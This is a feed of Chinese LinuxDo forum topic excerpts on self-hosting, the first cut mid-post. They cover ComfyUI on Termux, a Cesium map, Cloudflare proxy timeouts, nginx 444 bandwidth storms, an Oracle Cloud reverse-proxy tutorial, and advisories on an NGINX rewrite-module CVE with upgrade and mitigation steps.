--no-cache-dir --force-reinstall ,之前没接触过的时候用python3自带的venv,依赖完全用不了大片的error 5. 回到ComfyUI目录下,写个运行小脚本就可以部署了 touch run.sh \ chmod +x run.sh \ echo "python main.py --cpu --use-split-cross-attention --listen 0.0.0.0 --port 8888" >> run.sh \ ./run.sh ps:上边这个8888纯粹是顺手,而且没root的话,数字小于4000的端口基本用不来 IPv6 这里提一嘴IPv6,我用的是电信的流量卡,查了一下有IPv6 查询方式很多,这里写一下一种termux命令行里的方法 curl -6 ifconfig.me IPv6访问时是http://[xxxx]:port/;一定要加[ ] 实测可以远程访问网页,(导航页是让AI写的),ssh链接使用Termius也可以直连; 但是就像我白天发帖问的,Obsidian的self-hosted live sync插件不能正常使用IPv6,会报错说找不到; 在这里请教各位佬,有没有办法解决这个问题。 wireguard或者Tailsce之类的组网当然可以,不过直接用IPv6不是可以少开一个APP嘛 END 8 个帖子 - 4 位参与者 阅读完整话题

LinuxDo 最新话题 · 2026-05-25 15:59:38+08:00 · tech

拿Cesium写了个WebGIS界面,在线地图和离线地图两个版本。离线地图使用nginx服务,下了个300多M的地图测试,到7级。 const viewer = new Cesium.Viewer('cesiumContainer', { terrainProvider: new Cesium.EllipsoidTerrainProvider(), animation: false, // 关闭左下角动画控件 timeline: false, // 关闭底部时间轴 // fullscreenButton: false, // 关闭右上角全屏按钮 homeButton: false, // 关闭右上角主页按钮 sceneModePicker: false, // 关闭右上角视图模式切换按钮(三维/二维) baseLayerPicker: false, // 关闭右上角图层选择器 navigationHelpButton: false, // 关闭右上角导航帮助按钮 geocoder: false, // 关闭右上角地名搜索框 infoBox: false, // 关闭点击实体后的信息框 selectionIndicator: false, // 关闭选中实体的高亮圈 creditContainer: document.createElement('div') // 用空的 div 覆盖默认 credit,去除水印 }); 1 个帖子 - 1 位参与者 阅读完整话题

LinuxDo 最新话题 · 2026-05-23 21:41:56+08:00 · tech

我自建了NewAPI,VPS前面是Nginx,域名托管在 Cloudflare。 现象: 灰云 DNS only:文字聊天、生图都正常 橙云 Proxied:文字聊天基本正常,但生图/长任务容易重连或断联 切回灰云后,生图明显稳定 源站 Nginx 已经设置了长超时,并关闭 buffering: proxy_read_timeout 3600s; proxy_send_timeout 3600s; proxy_buffering off; proxy_request_buffering off; 所以目前怀疑不是源站 Nginx 超时,而是 Cloudflare 代理层对长时间无响应/长任务请求的限制。 想请教: 这种情况是不是橙云代理层导致的? 有没有推荐的 Cloudflare 或 Nginx 配置? 如果只用灰云的话,问题大吗?会不会不太安全 10 个帖子 - 10 位参与者 阅读完整话题

LinuxDo 最新话题 · 2026-05-21 20:54:03+08:00 · tech

今天看了一下公司对外网站的nginx访问日志, 发现前两天(5.19-5.20)的访问日志文件突增的离谱, 平时每天访问量也就在1MB-3MB的区间浮动, 然后这两天的访问日志文件竟然占用高达50MB-70MB, 然后随便扫了两眼日志记录发现请求参数都是一些攻击内容. 想问下有没有处理过相关事件的佬友, 如果报警的话,警察会受理吗, 最好的结果能抓到对方吗 最近的访问日志, 标红是占用过大的 请求参数 5 个帖子 - 3 位参与者 阅读完整话题

LinuxDo 最新话题 · 2026-05-19 16:11:12+08:00 · tech

我靠!终于从坑里爬出来了! 涨姿势了,新学了一个名词:TCP 控制风暴! 之前防爬虫,我是 nginx 直接返回 444,结果带宽一直暴涨,始终找不到原因,今天花了大半天,终于解决了。 当 444 遇到恶意爬虫,与触发 TCP控制风暴。 444 状态码有个反直觉的底层深坑: Nginx 返回 444 会触发内核发送 TCP RST 包(有协议头开销)。 爬虫被断连后误以为是网络抖动,会立即疯狂重试 3~5 次。 于是陷入死循环:爬虫请求 ➔ 触发 RST ➔ 疯狂重试 ➔ 再发 RST…… 瞬间产生的 TCP 控制风暴 直接把输出流量放大了数倍,网卡顶满! 涨姿势了,这一波感谢DeepSeek,国产牛逼! 记录一下,以防后人踩坑。 3 个帖子 - 2 位参与者 阅读完整话题

LinuxDo 最新话题 · 2026-05-18 23:51:00+08:00 · tech

这段时间我在论坛上也看到有人问申请的免费机器用来做什么,如何保活(闲置太久会被回收),也看到有人问怎么保证机器的安全(有些人被黑了)。刚好前几天我也成功注册了账号 感谢L站,成功注册Oracle Cloud(甲骨文)账号 也成功创建了机器 分享如何成功创建Oracle Cloud(甲骨文)免费机器 然后决定用这台1c1g的机器我来部署一台nginx的反代服务器。 部署nginx反代服务器的目的是什么,统一入口(使用二级域名指向不同的应用服务),安全(真实应用服务器只对反代服务器开放白名单)。 先说下前置条件: 已经申请了免费机 有一个cloudflare账号 申请了一个域名(我在cloudflare申请的) #下面开始部署教程 一、在oracle cloud控制台操作,开放必须的端口 创建网络安全组:左上角三条杠->网络->虚拟云网络->点击vcn名称进入详情->点击安全->点击创建网络安全组 1.1. 名字随便填,然后增加4条入站规则,22(SSH登录)80,443,9000(这个是临时开放,后续会部署一个nginx-ui应用来测试,测试完会删除掉) 把刚创建的网络安全组配置给1c1g这台机器,在实例详情->网络->网络安全组 里面加入 二、在云服务器里面操作,SSH登录云服务器,云服务器我就就使用AI(codex)全程帮我安装部署了 安装codex并正常使用(这个自行安装) 进入codex后第一句:帮我安装nginx并验证80和443都可用 安装完成后测试一下80( http://你的公网ip )和433( https://你的公网ip )端口有没有通,不通的话直接找AI解决,一般都是防火墙没有把端口放行。 端口测试通了后,我们就开始安装一个开源项目nginx-ui,方便我们后续反代配置直接在web上配置,不然每次都要登录SSH改配置文件,安装nginx-ui的prompt:帮我安装nginx-ui( GitHub - 0xJacky/nginx-ui: Yet another WebUI for Nginx · GitHub )并验证可用,安装完成后验证是否可以打开( http://你的公网IP:9000 )打不开直接找AI解决,一般也是防火墙没放行端口。 nginx-ui安装成功后就拿它来做反代 三、在Cloudflare上操作 点击你的域名进入域名详情,找到DNS->记录,添加记录,名称自己填能记住就行,IPv4地址填你的公网IP 四、在nginx-ui里面操作 打开你的nginx-ui( http://你的公网IP:9000 ),注册->登录 增加站点,配置1,2,3,4,5项 配置 (点击了解更多详细信息) 五、申请cloudflare https证书 在云服务器上跟AI说:帮我配 Cloudflare Origin Certificate AI会帮你生成一段CSR,复制这段CSR 回到Cloudflare控制台,找到 SSL/TLS->源服务器->创建证书,把你复制的CSR粘贴进去,保存后会生成一段CERTIFICATE,把它复制下来,粘贴给AI,AI会帮你把证书配置好 4.最后验证是否正常使用( https://nginx-ui.你的域名 ),如果能正常访问说明配置成功了 六、收尾 1.回到oracle cloud控制台把9000的端口删除 2.云服务器防火墙把9000端口关闭 到这里,我们就把nginx的反代服务器部署好了,并且安装了个nginx-ui web管理应用,后续其他应用部署好后直接通过二级域名配置反代就可以访问了,不需要对外开放端口和ip。 整个教程写得有点乱,见谅见谅,遇到什么问题和不懂的可以在下面问,我看到就会回复一下(在我会的情况下 ) 终 1 个帖子 - 1 位参与者 阅读完整话题

LinuxDo 最新话题 · 2026-05-14 22:11:56+08:00 · tech

NGINX 被曝一组高危漏洞,已潜伏约 18 年,威胁全球约三分之一的网络服务器。 CVE-2026-42945 - (9.2 Critical) CVE-2026-42946 - (8.3 High) CVE-2026-40701 - (6.3 Medium) CVE-2026-42934 - (6.3 Medium) 已发布修复版本:NGINX Open Source 用户应升级至 1.31.0 或 1.30.1,NGINX Plus 用户应升级至 R36 P4 或 R32 P6,升级后需重启服务使补丁生效。对于暂时无法升级的用户,可通过将配置中所有未命名捕获组($1、$2)替换为命名捕获组的方式规避触发条件。排查方法为:确认已安装的 NGINX 版本区间,并在配置文件中检索同时含有未命名捕获组与问号替换字符串的 rewrite 指令。 5 个帖子 - 5 位参与者 阅读完整话题

LinuxDo 最新话题 · 2026-05-14 18:30:39+08:00 · tech

漏洞名称:CVE-2026-42945(代号"NGINX Rift") 漏洞类型:堆缓冲区溢出(Heap Buffer Overflow) CVSS评分: 9.2分(高危) 发现时间:2026年5月13日 影响范围: NGINX开源版:0.6.27至1.30.0全系列版本 NGINX商业版:Plus R32至R36版本 波及NGINX网关、WAF防护组件、实例管理器等衍生产品 漏洞核心信息 该漏洞存在于NGINX的rewrite模块中,当满足以下条件时可被触发: rewrite指令后紧跟rewrite、if或set指令 使用了未命名的正则表达式捕获(如$1、$2等) 替换字符串中包含问号(?) 攻击者无需身份认证,只需发送精心构造的HTTP请求即可利用此漏洞。成功利用可能导致: NGINX工作进程崩溃重启 在ASLR(地址空间布局随机化)禁用的系统上实现远程代码执行(RCE) 修复 升级(推荐): 开源版:升级到1.31.0或1.30.1版本 商业版:升级到R36 P4或R32 P6版本 升级后需重启服务加载修复后的二进制文件 临时缓解措施(无法立即升级时): 检查nginx.conf配置文件,将所有受影响rewrite规则中的未命名正则捕获($1、$2)改为命名捕获 命名捕获不会触发有问题的转义路径,可降低漏洞利用风险 风险提示 该漏洞自2008年起就存在于NGINX代码中,潜伏长达18年。由于NGINX是全球最流行的Web服务器之一,约占全球服务器市场的1/3,此次漏洞影响范围极广,建议相关运维人员立即采取防护措施。GitHub上已出现漏洞利用代码(PoC)。 1 个帖子 - 1 位参与者 阅读完整话题